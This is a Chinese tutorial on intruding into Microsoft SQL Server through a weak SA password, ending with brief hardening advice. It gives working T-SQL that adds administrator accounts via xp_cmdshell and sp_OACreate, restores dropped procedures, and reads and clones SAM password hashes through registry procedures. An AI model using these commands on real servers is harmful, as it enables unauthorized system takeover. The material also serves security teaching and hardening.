Microsoft SQLServer是一個c/s模式的強大的關系型數據庫管理系統,應用領域十分廣泛,從網站后臺數據庫到一些MIS(管理信息系統)到處都可以看到它的身影。我們都知道,在網絡中Microsoft SQLServer的入侵最常見的就是利用SA弱口令入侵了,而核心內容就是利用Microsoft SQLServer中的存儲過程獲得系統管理員權限,那到底什么是存儲過程?為什么利用它可以獲得系統管理員權限?
存儲過程是存儲在SQLServer中的預先寫好的SQL語句集合,它分為三類:系統提供的存儲過程,用戶定義的存儲過程和擴展存儲過程。
系統提供的存儲過程是在安裝SQLServer時創建的存儲過程,名字以"sp_"開頭。
用戶定義的存儲過程是用SQLServer的使用者編寫的存儲過程。
擴展存儲過程則是對動態鏈接庫(DLL)函數的調用,主要是用于客戶端與服務器端或客戶端之間進行通信的,與一般動態鏈接庫不同的是它們直接運行在SQLServer分配的內存地址內,其中危險性最高的擴展存儲過程就是xp_cmdshell了,它可以執行操作系統的任何指令。
SA是Microsoft SQLServer的管理員帳號,擁有最高權限,它可以執行擴展存儲過程,并獲得返回值,比如執行:
exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmd shell 'net localgroup administrators test /add' |
這樣對方的系統就被添加了一個用戶名為test,密碼為12345,有管理員權限的用戶,現在你應該明白為什么得到SA密碼,就可以得到系統的最高權限了吧。下面就詳細的講一下Microsoft SQLServer中利用SA弱口令的攻擊與防范。
通常當我們掃描到一臺有Microsoft SQLServer SA弱口令的機器,都會用一些專門的攻擊工具,比如SqlExec,如圖x.1所示,SuperSQLEXEC,如圖x.2所示,以及SQL綜合利用工具,如圖x.3所示。
![]() |
圖x.1 SqlExec運行界面 |
![]() |
圖x.2 SuperSQLEXEC運行界面 |
![]() |
圖x.3 SQL綜合利用工具 |
這三款軟件相對來講SQL綜合利用工具的功能更強些,因為它可以利用漏洞上傳文件,這樣我們就可以上傳木馬程序,然后執行。
可是在實際操作中,情況并不象我們的那樣簡單,我們上傳木馬程序后,一般都會被對方的殺毒軟件殺掉。而且經過使用SQL事件探查器(可以通過安裝Microsoft SQLServer獲得)對SQL綜合利用工具提交的SQL語句抓取發現,要使SQL綜合利用工具上傳功能成功完成,有個前提條件就是對方Microsoft SQLServer中的存儲過程xp_cmdshell沒有被刪除,如圖x.4所示,否則無法成功執行,也就是說就算我們的木馬可以不被查殺,無法執行上傳功能也是沒有用的。
![]() |
圖x.4 SQL事件探查器抓取的 SQL綜合利用工具提交的SQL語句 |
刪除xp_cmdshell的語句為:exec sp_dropextendedproc 'xp_cmdshell',同樣我們也可以使用Microsoft SQLServer中的查詢分析器連接到對方的Microsoft SQLServer,來恢復xp_cmdshell,語句為:exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll',如圖x.5所示。恢復后,我們就可以使用SQL綜合利用工具的上傳功能了,并可以執行上傳的文件。
![]() |
圖x.5 查詢分析器的界面 |
但如果對方把Microsoft SQLServer中的xplog70.dll文件刪除或放到其他地方了, xp_cmdshell就無法執行我們發出的命令了。
難道就沒有其他辦法了?當然不是,在Microsoft SQLServer中有一系列與OLE相關的存儲過程,這一系列的存儲過程同Xp_cmdshell以及讀取注冊表系列的存儲過程一樣危險,但是其使用方法不象那些存儲過程在網絡上和書上介紹的那樣多,所以被刪除的可能性就小一些。這系列的存儲過程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
使用查詢分析器連接到對方的Microsoft SQLServer,在查詢分析器中執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 12345 /add'-- 再執行:DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '-- |
就可以在對方的系統添加一個用戶名為test,密碼為12345,有管理員權限的用戶。
如果對方把Xp_cmdshell、SP_OACREATE等可執行系統命令的存儲過程,以及與它們相對應的動態連接庫文件刪除了,我們還有一個辦法,就是使用可以讀取和修改注冊表的存儲過程來克隆對方系統的管理員用戶。在查詢分析器里運行下面的語句:
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F', |
可以得到對方系統administrator的加密密碼,然后復制,如圖x.6所示。
![]() |
圖x.6 使用xp_regread得到加密密碼 |
然后再執行:
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5 ','F','reg_binary',0x(上面復制的那串字符), |
如果對方有遠程終端服務,那我們就可以用Guest用戶登陸,密碼為空,而且Guest的桌面與administrator的完全一樣。
有很多種方法得到Microsoft SQLServer SA的密碼,比如通過Sniffer到SA的加密密碼,然后通過密碼對照表(網上可以找到),得到SA的明文密碼,再比如通過SQL注入得到SA密碼或者使用sp_password(修改數據庫用戶密碼的存儲過程)修改得到SA密碼,還有可以掛密碼字典進行暴力破解。一旦被SA密碼被入侵者得到,會對服務器的安全帶來很大隱患,所以我們整理了一個解決方案提供給大家:
1.在確定不需要的情況下,刪除xp_cmdshell,xp_dirtree,xp_regread,xp_regdeletekey,xp_regdeletevalue,xp_regwrite,sp_oacreate,sp_oadestroy,sp_oagetErrorInfo,sp_oagetProperty,sp_oamethod,sp_oasetProperty,sp_oastop這些存儲過程,移走相關的動態連接庫文件,在需要的時候復制到原來的位置就可以了。
2.應用程序和網站在與后臺的Microsoft SQLServer數據庫連接時不要用SA等高權限的用戶連接。
3.給SA等高權限的用戶起一個健壯的密碼。